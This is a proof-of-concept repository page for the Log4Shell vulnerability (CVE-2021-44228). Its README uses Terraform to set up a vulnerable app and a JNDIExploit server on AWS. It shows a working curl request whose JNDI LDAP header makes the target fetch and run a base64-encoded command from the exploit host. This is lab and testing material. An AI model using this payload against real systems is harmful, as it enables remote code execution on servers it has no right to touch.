CVE-2021-44228 PoC — Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints

Source

Associated Vulnerability

Description

A Terraform to deploy vulnerable app and a JDNIExploit to work with CVE-2021-44228

Readme

# log4j-vulnerable-app-cve-2021-44228-terraform
A Terraform to deploy vulnerable app and a JNDIExploit to work with CVE-2021-44228

# About Stack

This terraform creates two instances on a VPC in AWS Cloud.


You just need to export your **AWS_ACCESS_KEY_ID** and **AWS_SECRET_ACCESS_KEY**


One instance is [JNDIExploit](https://github.com/feihong-cs/JNDIExploit).


Second is a [Vulnerable-App](https://github.com/christophetd/log4shell-vulnerable-app) to log4j exploit


**Please replace your SSH-Public-Key in terraform before apply**

```bash
terraform init
terraform plan
terraform apply --auto-approve
```

# Exploit

After deployment on aws you can exploit it with curl request, and verify file creation in /tmp on the vulnerable-app container.

```bash
curl ${vulnerable-app-IP}:8090 -H 'X-Api-Version: ${jndi:ldap://${JNDIExploit-IP}:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
```

On the vulnerable app server run the following command to verify command execution, you should see **pwned** file
```bash
sudo docker exec -ti vulnerable-app ls /tmp
```

File Snapshot

 [4.0K]  /data/pocs/a63ca057e86ef9dc6aa31265f3cbd2d8cc26f354
├── [3.6K]  main.tf
├── [ 115]  providers.tf
├── [1.0K]  README.md
└── [ 217]  variables.tf

0 directories, 4 files

Remarks